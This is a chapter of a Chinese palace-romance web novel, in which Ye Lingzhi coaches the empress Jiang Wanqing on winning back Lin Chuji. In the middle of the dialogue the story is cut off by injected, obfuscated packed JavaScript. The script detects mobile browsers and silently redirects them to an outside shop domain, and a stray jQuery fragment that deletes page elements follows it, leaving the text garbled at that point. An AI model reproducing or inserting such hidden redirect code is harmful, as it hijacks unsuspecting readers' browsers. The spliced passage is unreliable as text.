林初霁推开门,大步走了出去。门在身后合上,脚步声渐渐远了。
叶灵之还坐在原处,端着茶盏,嘴角的笑意慢慢加深,像是终于忍不住了,轻轻笑出声来。
“我怎么不懂?”
她把茶盏放下,从软垫底下抽出那本书,翻开,指尖轻轻划过书页,
“我可太懂你们了。”
她靠在软榻上,目光落在窗外。雨落在石阶上,发出清脆的声响。她看着那些水滴,思绪慢慢飘远了。
两天前。
雨滴砸在瓦片上,噼里啪啦的,像是要把屋顶打穿。
叶灵之正准备吹灯歇下,忽然听见敲门声,不紧不慢的,她愣了一下,这么晚了,谁会来?
她披上外衣,走到门口,拉开门。风雨裹着冷气扑面而来,江晚晴站在门外,手里撑着伞,
雨水顺着伞沿往下淌,裙摆湿了一大截,发丝上也沾着细密的水珠。
她抬起头,看着叶灵之,没有说话。
叶灵之愣了一瞬,随即侧身让开。
“进来吧。”
江晚晴收了伞,走进来。她把伞靠在门边,站在门口没有动,雨水从她身上往下滴,在青砖地上洇开一小片水渍。
叶灵之从架子上取了一条干毛巾递过去。
“先擦擦,别着凉了。”
江晚晴接过毛巾,慢慢擦着头发。
叶灵之关上门,又往炭盆里添了几块炭,火苗蹿起来,屋里暖了一些。
她拉了把椅子放在炭盆边。“坐过来烤烤火。”
江晚晴坐过去,手里还攥着那条毛巾。叶灵之在她对面坐下,没有催她,只是静静等着。
殿内只有炭火偶尔发出的噼啪声,和雨砸在瓦片上的声音。
过了很久,江晚晴终于开口。
“我来换药。”
叶灵之看了她一眼。
“药不是都拿回去了吗?”
江晚晴没有说话,低着头,看着自己那只缠着纱布的手。
叶灵之顺着她的目光看过去,沉默了片刻,然后轻轻叹了口气。
“到底什么事?”
江晚晴的手指微微蜷缩了一下。雨声很大,殿内却很安静。
她张了张嘴,又闭上,像是在组织语言,又像是在犹豫该不该说。
叶灵之没有催她,起身去倒了一杯热茶,放在她手边。
江晚晴端起茶盏,握在手心里。茶水的温度透过瓷壁传来。
她低着头,看着茶盏里浮沉的茶叶,过了好一会儿,终于开口,声音很轻。
“你看起来……”她顿了顿,
“很会谈恋爱的样子。”
叶灵之正端着茶盏,听见这句话,一口茶水呛进了喉咙。“咳、咳咳——”
她猛地咳嗽起来,茶盏差点脱手,连忙放下,捂着嘴咳了好一阵,脸都涨红了。
江晚晴抬起头,看着她,眉头微微蹙起,像是不知道她为什么这么大反应。
叶灵之咳完,用帕子擦了擦嘴角。
她看着江晚晴那张认真的脸,心里忽然涌上一股说不清的复杂情绪。
怎么大的小的都来找她问恋爱经验?那她干脆自己跟自己谈算了。
她张了张嘴,脑子里那句话脱口而出:
“你怎么也问这个问题?”
话一出口,她就后悔了。江晚晴的手指微微顿了一下,抬起头,看着叶灵之。
“也?”
她的声音很轻,目光却沉了下来,
“还有谁问过?”
叶灵之僵住了。她看着江晚晴那双清冷的眼睛,心里飞快地盘算。
不好,暴露了。她不能说,说了就是背叛朋友。
虽然那个朋友脑子不太好使,但朋友毕竟是朋友。她端起茶盏,假装喝了一口。
“没什么,”她放下茶盏,努力让自己的语气显得随意,
“就是……我一个朋友。她前几天也来找我问了这个问题。”
江晚晴看着她,没有说话。
殿内安静了一瞬,只有雨打在瓦片上的声音。
“是林初霁吗?”
江晚晴的声音很平静。
叶灵之的手指微微蜷缩了一下。她看着江晚晴那双波澜不惊的眼睛,沉默了片刻。
“嗯....可能是吧。”
她含糊地说,既没有承认,也没有否认。
江晚晴沉默了很久。烛火轻轻跳动着,映在她脸上,明明暗暗的。
她低下头,端起那盏已经凉透的茶,慢慢喝干净。然后她放下茶盏,站起来。
“我还有点事。”她的声音很轻,
“先回去了。我明天再来。”
叶灵之没有挽留,只是点了点头。
“好。”
第二天晚上,江晚晴又来了。她手里提着一个精致的木盒,放在桌上,打开盖子。
里面是一匹上好的料子,上面绣着淡青色的兰草纹样,针脚细密。她把盒子推到叶灵之面前。
“我想请你帮帮我。”她顿了顿,
“你可以拒绝。”
叶灵之低头看着那匹料子,伸出手,轻轻摸了摸。她沉默了一会儿,然后笑得意味深长。
“哎呀,”她拖长了调子,
“初霁可是我最好的朋友!我怎么能背叛她呢?”
江晚晴的眼神暗了一下,她垂下眼帘,没有说话。
叶灵之看着她那副样子,心里叹了口气。然后她话锋一转,笑眯眯地说:
“但是您可是我最好的娘娘!帮您,我义不容辞!”
江晚晴猛的抬起头,但叶灵之还没说完。她伸出手,竖起一根手指。
“不过,我有个要求。”
江晚晴看着她。“什么要求?你想要的,我都尽我最大努力给你。”
叶灵之笑了笑,凑过去,压低声音。
“你的每一步进度,都要告诉我。在一起了,得给我单独摆一桌。”
江晚晴愣了一下,然后点了点头。“好。”她答应得很干脆。
叶灵之的眼睛弯了起来,笑意更深。
她索性把椅子往江晚晴那边又挪了挪,凑到她耳边,声音压得极低,低到只有两个人能听见。
“还有,你要狠狠地……”后面的话,变成了一串含糊的气音,夹杂着几个模糊的词。
什么“让她求饶”,什么“小情趣”,还有什么“***,****”。
江晚晴的耳朵以肉眼可见的速度红了起来。
叶灵之说完,往后一靠,端起茶盏,慢条斯理地喝了一口,一副事不关己的样子。
“我开玩笑的,”她笑眯眯地说,
“当然,您要是想认真执行,我也不拦着。”
江晚晴低着头,没有说话,耳根的红还没退下去。
叶灵之放下茶盏,身体往前倾了倾,手肘撑在桌上,托着腮。
“好了,”她的声音变得认真起来,
“你想问什么?我来帮你解答解答。”
江晚晴沉默了一会儿,开口,声音很轻。
“她……好像很喜欢温晏。”
叶灵之愣了一下,然后轻轻“嗯”了一声,尾音往上扬了扬。
“是吗?也许吧。”她顿了顿,
“你为什么这么觉得?”
“很明显。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17832842|211357||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
江晚晴声音淡淡的,但握着茶盏的手指微微收紧了一点。
叶灵之看着她,没有说话。江晚晴低下头,看着茶盏里已经凉透的茶,过了好一会儿,才又开口。
“我不应该再接近她的,”
她的声音更轻了,像是在对自己说,
“但是看到她喜欢温晏,我还是有点……不甘心。”
叶灵之看着江晚晴低着头的样子,心里叹了口气。
“那你就接近她啊。”
叶灵之说,语气理所当然。
江晚晴抬起头,看着她。
“可是……当初是我先离开她的。”
她的声音微微发涩,
“她说不想再和我有任何联系了。”
叶灵之笑了。“怎么证明她说过这句话?签合同了吗?对天发誓了吗?”
她歪着头,看着江晚晴,“你违背誓言接近她,难道会天打雷劈吗?不会啊。”
她顿了顿,“而且,我看她见到你,好像也没有表现出恨你、讨厌你啊。”
江晚晴沉默了一会儿。
“很奇怪,”
“她病倒那日后,像变了一个人一样。她看我的眼神很陌生,像从来没有认识过我。”
叶灵之端起茶盏,喝了一口,放下。
“哎呀,你别想这么多。那你们从头再来呗。”
她看着江晚晴,笑了笑,“重新去追她。”
江晚晴沉默了很久,烛火在她脸上投下明明暗暗的光。
她低着头,看着自己那只缠着纱布的手,过了好一会儿才开口,声音很轻:
“我该怎么做?”
叶灵之笑了,像是早就等着她问这句话。
“很简单,”她端起茶盏又喝了一口,慢悠悠地说,
“你以前总是偷偷对她好。现在别偷偷了,把你的好摆出来,让她看见。”
江晚晴抬起头,看着她。叶灵之放下茶盏,站起来,走到柜子前,从里面拿出一壶酒和两只杯子。
她走回来,把杯子放好,倒了酒,推到江晚晴面前。
“酒量怎么样?”叶灵之问。
江晚晴看着那杯酒。“挺好的。”
叶灵之笑了,凑近她,压低声音。
“那你就这样……”
她的声音越来越轻,轻到只有两个人能听见,“趁着酒意.....”
江晚晴的睫毛颤了颤。她看着那杯酒,又看着叶灵之那张笑眯眯的脸,耳根慢慢红了起来。
“真的可以吗?”她的声音有些不确定,像是在问叶灵之,又像是在问自己。
叶灵之跟她比了个“OK”的手势,然后转身走到书架前。
她的手指在书脊上滑过,挑出几本,摞在手里,走回来,一股脑儿堆在江晚晴手上。
《冷面皇后俏贵妃》
《霸道女将军爱上我》
《惹她生气后,腿软的根本站不住》
每一本的封面都画着两个女子,衣襟半敞,有的发丝纠缠。
江晚晴看着那些暴露的封面,耳朵红得像要滴血。
她低下头,把那摞书往怀里拢了拢,像是怕被别人看见。
“有没有东西包着?”她的声音很小。
叶灵之看了她一眼,忍着笑,转身去拿了一块包书用的布递给她。
江晚晴接过去,低着头,把那些书一本一本包好,动作很慢,像是怕弄坏了。
叶灵之站在旁边,看着她那副认真的样子,心里忽然有点想笑。
都成年人了,还这么害羞。但她没有说出来,只是端起自己的酒杯,慢慢喝着,嘴角的笑意怎么都压不住。